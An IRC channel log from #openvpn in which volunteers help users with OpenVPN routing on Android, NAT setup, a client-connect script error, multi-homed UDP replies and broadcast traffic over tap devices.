09:32 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
09:38 -!- xenool [~BrianC@dhcp85.signon4.uk.beevpn.com] has quit []
09:46 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
09:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:55 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
09:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:00 -!- mode/#openvpn [+o krzee] by ChanServ
10:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:18 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has joined #openvpn
10:21 < Gatak> Hi. I have problems with getting routing to work properly with openvpn from android devices. I am doing a simple tun mode assigning 10.8.0.0 subnet to the clients, but routing doesn't seem to happen. the server, ubuntu, has all fw disabled and only running snat on routing.
10:22 < cnf> i keep getting `WARNING: Failed running command (--client-connect): external program fork failed` with client-connect
10:23 < cnf> can anyone tell me why?
10:23 < pekster> Gatak: If you're doing source-NAT I presume you're attempting to redirect client Internet traffic?
10:23 < pekster> In that case, be sure you've done all the steps in:
10:24 < pekster> !redirect
10:24 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:24 <@vpnHelper> http://ircpimps.org/redirect.png
10:24 < cnf> my vpn gets disconnected because of it :/
10:25 < Gatak> pekster: yes, exactlt. I am trying to get "internet" access through the VPN tunnel.
10:28 < cnf> and my script-security is set to 2
10:28 < Gatak> I am using redirect-gateway statement in the client config file. I do think the routing is wrong on the client. Android doesn't allow (or so the app say) that the default route changes.. so I se a 0.0.0.0/1 through the tun0 interface. I think the strange thing is that the external ip of the vpn server gets routed through the tun0 interface on the client - isn't that wrong?
10:28 -!- erre [~erre@193.146.78.97] has quit [Read error: Operation timed out]
10:29 < Gatak> problem is that I can't change how the app sets up the route
10:29 < pekster> Gatak: The manpage description for --redirect-gateway explains that it adds a host-route (a /32 route) to the IP of the server you're connected to via the pre-existing gateway
10:30 < pekster> You should see that if you open up a terminal and issue `ip route show`
10:30 < cnf> mhz, damnit
10:30 < Gatak> how, then how can it communicate with the vpn server once the default route changes to the tun device
10:30 < pekster> I just explained that
10:31 < Gatak> I read wrong. it actually happens the other way around.
10:32 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:32 < Gatak> shouldn't it add the /32 route to point through the phones physical interface ?
10:32 < Gatak> no the virtual tun interface
10:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
10:33 < pekster> Routes point to IPs, not to interfaces, but yes
10:33 -!- Varazir [~mircwars@c-94-255-133-27.cust.bredband2.com] has joined #openvpn
10:33 < pekster> What's `ip r` show?
10:34 < Gatak> yes, to the external ip of the vpn server on the physcial if
10:34 < Gatak> but I get it on the tun0 if
10:34 < Gatak> one moment
10:35 < cnf> client-connect doesn't seem to work :/
10:36 < pekster> cnf: Works fine for me under a wide variety of platforms. If the execve() (process execution of your program) fails, it'll warn you
10:37 < Gatak> !paste
10:37 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
10:37 < cnf> pekster: all it ever tells me is `Failed running command (--client-connect): external program fork failed`
10:37 < cnf> pekster: and then disconnects my client
10:37 < pekster> How can it "disconnect" your client if you've never been connected?
10:37 < cnf> and i have script-security set to 2
10:37 < pekster> Unless it's not "all it ever tells" you
10:38 < pekster> script-security won't matter if it's failing to *launch* your external process
10:38 < cnf> it is launching is, the script runs
10:38 < pekster> Not with that error it's not
10:38 < cnf> and it returns 0
10:38 < Gatak> pekster: OK, phone has the following route: 5.240.25.1 dev pdp0  scope link5.240.25.0/24 dev pdp0  proto kernel  scope link  src 5.240.25.96
10:38 < Gatak> default via 5.240.25.1 dev pdp0
10:38 < pekster> It's failing to fork, hence the error
10:38 < cnf> pekster:well, the script is triggering
10:38 < cnf> the actions in it run
10:39 < pekster> cnf: This is on the server side? Can you pastebin the config?
10:39 < pekster> !configs
10:39 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:41 < pekster> At least in the 2.3.1 sources, you only *ever* get that 'program fork failed' message if the return code is false for the process execution
10:41 < pekster> That error is returned as part of system_error_message() called from openvpn_execve_check() only when platform_system_ok() returns false (ie: something failed to run with your --client-connect script)
10:42 < cnf> pekster: http://pastie.org/7935026
10:42 < pekster> Does 'nobody' have permission to run the script?
10:42 < cnf> it's 755
10:43 < Gatak> pekster: here is the new route after connecting: http://pastebin.com/jLUgUKD4
10:43 < pekster> And what version of openvpn is that? 2.3.0 no longer supports the 'method' argument to --script-security
10:44 < cnf> OpenVPN 2.2.1
10:44 < Gatak> pekster: Should this one not point to "dev pdp0" 194.71.109.34 dev tun0  scope link
10:45 < cnf> pekster: the connect script pushes a message to pushover to notify me of incoming connections
10:45 < cnf> and i'm getting notifications
10:45 < Gatak> my client config as generated by the app openvpn for android: http://pastebin.com/Mh69k2Dw
10:48 < pekster> Gatak: Why are you both specifying a 'route 0.0.0.0 0.0.0.0' and using redirect-gateway? I'm not that familiar with how android does things, but that seems redundant. Also, you shouldn't get the /1 routes unless you're using def1 (again, unless android does it differently)
10:48 < Gatak> yea, I can't specify most things =(
10:49 < Gatak> actaully I just did a tcp-dump on the vpn server. seems as some packets get to the tun interface: 10.8.0.4 > google-public-dns-a.google.com: ICMP echo request, id 59158, seq 15, length 64
10:49 < Gatak> so it is a routing issue there then,... sigh
10:51 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:51 < cnf> hmz, don;t get it :/
10:51 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:52 < cnf> pekster: the script is triggering… but it keeps telling me `Failed running command (--client-connect): external program fork failed`
10:53 < Gatak> !nat
10:53 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
10:53 < Gatak> !linnat
10:53 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:54 < pekster> cnf: That error ("external program fork failed") is only ever returned when openvpn_execve() returns an error. I've gone digging in the source code, and that only happens when pidwait() returns failure
10:54 < pekster> So, something *is* returning a failure code
10:54 < pekster> Apparently failing to fork
10:54 < cnf> pekster: yeah, i just don't get why
10:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Operation timed out]
10:55 < cnf> pekster: it does that when ALL there is in the script is exit 0
10:55 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:55 < pekster> Right. It's not the script that's the problem; it's the process of forking to it that failed
10:56 < pekster> What happens when you run that script manually as 'nobody:nogroup' ?
10:57 < pekster> FYI, that -1 appears to only be caused when pidwait(2) returns an error (see the 'RETURN VALUE' section in that manpage)
10:57 < pekster> s/pidwait/waitpid/
10:58 < pekster> So, the execve (the fork to your script) is apparently successful if you say that script gets run, but it's failing to return properly from the call to wait for it to exit and then do something with the return code
10:58 < cnf> pekster: runs fine, exits with 0
10:59 -!- awc737 [~awc737@192.249.62.8] has left #openvpn ["Leaving"]
10:59 < cnf> the content atm, minus comments and hash bang is echo "->> $common_name $time_ascii" >> /tmp/debug; exit 0
10:59 < pekster> With 2.2.x you can try using the 'system' method instead of execve (that option was removed in 2.3.0 as it's less secure) and see if that helps
11:00 < pekster> Otherwise I'm a bit curious if the same issue is present under the latest 2.3.1 release too
11:00 < cnf> yeah, i tried that
11:00 < cnf> gives the same error
11:01 < cnf> all i need it to do, really, is notify me when a client connects
11:02 < pekster> How can it give you the same error when it's not forking with the system() method?
11:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:03 < cnf> pekster: you know, i don't know
11:03 < cnf> i just know it does
11:04 < pekster> Ah, I see, system() can also return -1, and that message is translated later
11:04 < pekster> k
11:07 < cnf> pekster: also, if this is relevant, if i use the same script with the up directive, it works fine
11:08 < pekster> It woulnd't be running as nobody then
11:08 < pekster> Does it work normally when you run openvpn as root?
11:08 < pekster> If so, you know it's a problem with permissions. Is this Linux? Are you using SELinux by chance too?
11:08 < cnf> hmm, lemme see
11:09 < cnf> yes linux, no its ubuntu
11:10 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
11:10 < cnf> pekster: same thing if i run openvpn as root
11:12 < cnf> pekster: and if it was a permission problem, the script wouldn't actually execute...
11:14 < pekster> In the changelog for the 2.3.x development, there are some fixes to openvpn_execve listed in the early releases
11:15 < cnf> hmm, i'm gonna have to compile it myself then
11:15 < cnf> ubuntu is still stuck on 2.2.1
11:15 < pekster> It's not that hard to build 2.3.1 for ubuntu; you just need the build deps and the usual build-essential stuff
11:15 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 276 seconds]
11:16 < pekster> lzo and openssl should be all you need for openvpn-centric deps; you can even just drop it in /usr/local if you want and avoid conflict with the apt-managed stuff just to test with
11:16 < cnf> sure, i just don't like compilers on my servers
11:16 < pekster> You could always just built it somewhere else and tar up the $PREFIX path
11:17 < cnf> yeah
11:17 < cnf> i'm gonna do that tomorrow though, need a break
11:17 < cnf> pekster: btw, do you work on the ios/android build?
11:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:18 < pekster> Nope; the android stuff is non-free (NDA issues I guess) but there's a GPL android codebase
11:18 < pekster> I'm not involved with either
11:18 < cnf> k
11:18 < pekster> Sorry, IOS is non-free
11:18 < pekster> The 'openvpn connect' is also not open, but the 'openvpn for android' is
11:19 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
11:19 < cnf> yeah, i just found out reneg-sec 0 isn't liked by openvpn connect
11:26 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
11:26 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
11:33 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:36 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 276 seconds]
11:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:41 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
11:55 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:07 -!- Zenum [~znc@unaffiliated/zenum] has quit [Quit: ZEE EN CEE :>]
12:08 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
12:08 -!- Zenum [~znc@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
12:08 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
12:14 -!- pagios [~pagios@46.19.194.96] has joined #openvpn
12:15 < pagios> can anyone help me with this? http://pastie.org/7935483
12:15 < pagios> it looks like when  i added another subinterface to the system , the problem started occuring
12:15 < EugeneKay> Why do I always read that as "build derps"
12:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:20 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Operation timed out]
12:21 -!- pagios [~pagios@46.19.194.96] has left #openvpn ["Leaving"]
12:21 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
12:21 < rob0> I wonder what is a "subinterface"? I was about to ask when pagios left.
12:21 < EugeneKay> ethx:#
12:22 < rob0> oh, IOW, an ifconfig IP alias.
12:26 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
12:27 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
12:32 < EugeneKay> Yeah
12:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
12:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:01 -!- Serano [~serano@rooty.be] has joined #openvpn
13:02 < Serano> Is a 'LAN-environment' possible with IPX support on OpenVPN possible. With a central dedicated server which has no local physical lan. So IPX mode in a 'virtual lan' created by OpenVPN.
13:03 < EugeneKay> Yes. Just use tap devices
13:03 < Serano> And if so, is it correct that I just need to switch my tun setting to tap?
13:04 < Serano> Thank you EugeneKay, would you know if my assumption underneath is also correct?
13:04 < EugeneKay> That's what I just said. ;-)
13:04 < Serano> perfect :)
13:04 < Serano> Thnx once again
13:06 -!- pagios [~pagios@46.19.194.96] has joined #openvpn
13:06 < pagios> muxserver_listen bind(): No such file or directory what is this error?
13:06 < EugeneKay> Not a clue. Logs?
13:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 260 seconds]
13:10 < pagios> EugeneKay: i noticed that when i kill the server and client vpn deamons, restart the client and pointting it to the second public ip of the openvpn it works fine
13:11 < pagios> if the connection drops, i get handshakes errors when client tries to reconnect
13:11 < EugeneKay> !logs
13:11 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:11 < pagios> !logfile
13:11 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
13:12 < Serano> Hmm, i recon i have to manually route the IPX packets after configurating OpenVPN with tap
13:12 < pagios> http://pastie.org/7935483 EugeneKay
13:12 < Serano> with ipxd for example
13:12 < EugeneKay> You can use an up script to do that automagically.
13:13 < EugeneKay> pagios - are you using redirect?
13:13 < pagios> EugeneKay: no
13:13 < pagios> what is redirect?
13:13 < EugeneKay> !redirect
13:13 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:13 <@vpnHelper> http://ircpimps.org/redirect.png
13:13 < Serano> dare I ask you to point me in the right direction, or an example I can learn from? We just tested a game for example. Right now the packets aren't flowing through the tunnel
13:13 < Serano> IPX that is
13:15 < EugeneKay> Nope, I haven't used IPX since 2000
13:15 < EugeneKay> !configs
13:15 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:15 < EugeneKay> pagios ^
13:15 < pagios> sure
13:17 < pekster> pagios: I'm just guessing, but the reply oubound packet from the server might be sourced from a different IP. Unlike UDP, if you have multiple external IPs (so you're effectively multi-homed) you need to be sure the reply is from the same source as the sender sent to
13:17 < pekster> tcpdump on the client side should help show if that's the case (or possibly your external router if you're behind a NAT)
13:18 < pekster> That should have read "Unlike TCP"
13:22 < pagios> http://pastie.org/7935785 EugeneKay pekster
13:23 < pekster> Post a log with --verb 5 from the client
13:23 < pekster> !verb
13:23 <@vpnHelper> "verb" is verb command is for setting log verbosity, see --verb in the manual (!man) for more info
13:24 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
13:24 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
13:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
13:26 < pagios> pekster: EugeneKay http://pastebin.com/hK9izZXU
13:29 < pekster> No replies returned, so looks like it's either blocked by a firewall, or using the wrong IP like I said above (there are no 'R' characters in the log, which is received UDP packets)
13:29 < pekster> You probably need to bind replies received on a specific IP to be sent back out that same IP on your server
13:30 < pagios> pekster: if i change the client ip to point to the 2nd public ip of the oopenvpn server it works for the first time only, if i try again it will not , if i switch the ip to be the public ip1 of the server and relaunch the client it works, so it looks it only works the first time i change confi from the client
13:31 < pekster> Right. Do what I said and set up proper policy routing
13:31 < pekster> You've got a broken multi-homed setup. Fix it
13:31 < pekster> (and that's not an openvpn problem; it's a problem with *any* UDP traffic like this)
13:32 < pagios> ok any hints how i can start fixing it?
13:32 < pekster> LARTC and policy routing are you google terms
13:32 < pekster> (well, lartc for Linux)
13:33 < pekster> Possibly using --local on the server could fix it too
13:33 -!- addisonj [~addisonj@65.181.52.150] has joined #openvpn
13:38 < pagios> ! --local
13:38 < pagios> !--local
13:39 < pekster> Nope. You need to look that one up in the manpage
13:39 < pagios> ok :)
13:39 < pagios> thanks pekster  i will do that
13:39 < pagios> ok so you mean --local fixed_ip to force it to work on that interface
13:41 < pekster> Right. It binds to a specific IP to work around your disfunctional multi-home configuration
13:41 < pagios> cool it seems to be working
13:48 -!- p3rror [~p3rror@41.248.121.211] has joined #openvpn
13:57 -!- bwallen [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has quit [Ping timeout: 245 seconds]
14:03 -!- p3rror [~p3rror@41.248.121.211] has quit [Quit: Leaving]
14:05 -!- zenfish [~zenfish@flying.fish2.com] has joined #openvpn
14:07 -!- iliv [~iliv@5.248.193.99] has quit [Ping timeout: 256 seconds]
14:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:28 -!- MissToxic [~androirc@ool-457d12c0.dyn.optonline.net] has joined #openvpn
14:29 < MissToxic> For netmask br0 (bridge), is it default or need to change it?
14:29 -!- mattock is now known as mattock_afk
14:32 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
14:34 -!- MissToxic [~androirc@ool-457d12c0.dyn.optonline.net] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
14:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:47 < Serano> Wondering if in my setup i have a need for a bridged setup
14:47 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has quit [Read error: Connection reset by peer]
14:49 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has joined #openvpn
14:49 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has left #openvpn []
14:49 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has joined #openvpn
14:50 < Gatak> Hello? Is there any possibility to enable tap support on Android?
14:50 -!- YamakasY3 [~Thunderbi@62.58.32.91] has joined #openvpn
14:50 < YamakasY3> hi guys. When I connect to my pfsense box using openvpn I cannot internet when I redirect all traffic through my VPN. I have the feeling it has something todo with Tunnelblick for osx.
14:52 < pagios> hello, even when setting verbose to 0 i am still getting output on terminal ,how to stop that?
14:58 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
15:00 < EugeneKay> 2>/dev/null >/dev/null
15:01 < YamakasY3> EugeneKay: ?
15:01 < EugeneKay> !google output redirection
15:01 <@vpnHelper> Standard Input and Output Redirection: <http://www.mathinfo.u-picardie.fr/asch/f/MeCS/courseware/users/help/general/unix/redirection.html>; I/O Redirection: <http://www.tldp.org/LDP/abs/html/io-redirection.html>; BASH Programming - Introduction HOW-TO: All about redirection: <http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-3.html>
15:17 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
15:27 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
15:29 < Serano> I've given up for today :)
15:29 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 252 seconds]
15:31 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:38 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
15:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
15:44 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
15:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:01 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Ping timeout: 256 seconds]
16:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:07 -!- pagios [~pagios@46.19.194.96] has left #openvpn ["Leaving"]
16:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:22 -!- YamakasY3 [~Thunderbi@62.58.32.91] has quit [Ping timeout: 276 seconds]
16:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:38 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has left #openvpn []
16:49 -!- dyer [~dyer@unaffiliated/dyer] has quit [Quit: Computer has gone to sleep.]
16:50 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
16:57 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 256 seconds]
16:57 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
16:58 -!- deegen [~deegen@S01060023bee90320.gv.shawcable.net] has quit [Remote host closed the connection]
16:58 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
17:00 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Read error: Connection reset by peer]
17:10 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has joined #openvpn
17:17 -!- YamakasY2 [~Thunderbi@g9179.upc-g.chello.nl] has quit [Ping timeout: 264 seconds]
17:23 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has joined #openvpn
17:24 -!- Gatak [~spam@2001:16d8:ff02:0:6c2f:1e1:9ee3:3aa1] has left #openvpn []
17:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:46 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:46 -!- mode/#openvpn [+v s7r] by ChanServ
17:52 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has quit []
17:56 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
17:56 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:59 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
18:02 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
18:03 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
18:04 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
18:04 -!- Denial- is now known as Denial
18:12 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
18:13 < jzaw> !ping
18:13 <@vpnHelper> pong
18:19 -!- addisonj [~addisonj@65.181.52.150] has quit [Read error: Connection reset by peer]
18:24 < sc_> !pong
18:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
18:25 -!- Devastator [~devas@177.18.199.137] has joined #openvpn
18:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:39 -!- dyer [~dyer@unaffiliated/dyer] has joined #openvpn
18:41 < cnf> oh, awesome
18:42 < cnf> new openvpn connect update has a fix for reneg-sec 0 \o/
18:43 < cnf> now if only it would support the fragment option :/
18:43 < pekster> It's a completely separate codebase; if you want openvpn, use openvpn. If you want something that's designed to speak with the non-free Access Server, that's 'OpenVPN Connect'. There's some crossover, but not everything
18:44 < cnf> not much choice on iOS devices, is there
18:44 < cnf> unless someone makes a different client
18:44 < pekster> Ah, nope
18:44 < pekster> Right, and NDA crap makes that basically incompatible with the GPL is my understanding
18:44 < pekster> Clever Apple
18:45 < cnf> depends, there is GPL store on the shop
18:45 < cnf> hmz
18:45 < cnf> there are GPL code on the store
18:45 < cnf> o,O me fail engrish, this eve
18:46 < cnf> anyway, from what i understand, GPL3 is a real problem, but there are ways to work with gpl2
18:46 < cnf> don what openvpn is, lets see
18:46 < pekster> It might be due to the need for kernel-level drivers (tun) with openvpn; that might be subject to different licensing restrictions
18:46 < pekster> I just try to use free OSes so I don't have to worry about things like that
18:47 < pekster> The GPL codebase is GPLv2
18:47 < cnf> well, it's not the kernel driver that is doing the vpn, is it?
18:47 < cnf> yeah, well, i tried android
18:47 < pekster> No, but if you don't have it you can't run openvpn :P
18:47 < cnf> i just do NOT get along with it
18:51 -!- fenris_kcf [~fenris@x233.wh17.tu-dresden.de] has joined #openvpn
18:55 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
18:58 < cnf> hmm, can i disable certain options in the client-config-dir that where set in the main config?
18:59 < pekster> Not on a selective basis. See --push-reset though
18:59 < cnf> hmm
19:00 < cnf> i'd just want to disable the fragment option
19:00 < pekster> Another option is to create a DEFAULT ccd file that's processed when not matching ccd files exist
19:00 < pekster> I'm not sure you can set fragment in the context of a particular connection (I know you aren't allowed to do that for the MTU settings)
19:00 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
19:01 < cnf> the admin that set up the openvpn at work added the fragment option to fix a problem with one of the clients home line
19:01 < cnf> but now we are all stuck with it :P
19:01 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
19:03 < cnf> ah well, here is hoping openvpn connect  supports fragment soon :P
19:03 < cnf> anyway, time for bed
19:04 < cnf> night!
19:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
19:23 -!- david__ [~david@192.40.56.116] has quit [Remote host closed the connection]
19:27 -!- Tera [~tera@unaffiliated/tera] has quit [Read error: Connection reset by peer]
19:27 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
19:32 < Serano> Which statement true? You NEED a bridge if you want bcasts to traverse a VPN. Or is it a tap device that I need in order to do that. Or both always.
19:36 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
19:36 < sc_> i refuse to do your homework
19:37 < Serano> it's not homework :)
19:37 < Serano> i've done a lot of research by now. and have gotten openvpn to work pretty stable through a tun device
19:37 < Serano> the thing is I need bcast to traverse the entire 'VPN lan' from the clients who are logged in
19:38 < Serano> so my investigation led me to tap and bridging.
19:38 < rob0> Why do you need broadcasts?
19:39 < Serano> mostly for services by games that allow discovery of others in the lan
19:39 < Serano> it is my understanding those are on the layer 2 and use bcasts
19:39 < Serano> so I read that tap enables that
19:40 < Serano> but the thing is the central server that hosts the virtual lan has only an external ip (dedi box). so there is no local lan whatsoever. We just want it to serve as a 'lan hub' as it were.
19:41 < Serano> now following that. I'm confused whether or not I need to bridge my connection or not
19:41 < Serano> since there is no real iface to bridge
19:41 < Serano> like br eth0 eth1
19:42 < Serano> only thing i can imagine is make a tap0 and bridge eth0 to tap0
19:42 < rob0> Games, okay. I only asked because some folks think they need broadcasts for Windows SMB/CIFS, but that is not so.
19:42 < Serano> but i don't know if that is a valid work way
19:43 < rob0> tap can be bridged or routed.
19:43 < rob0> but as long as you have tap, you have layer 2 and thus your broadcasts.
19:43 < Serano> and in my workcase? what would you advice or see as the most preferred way of doing it?
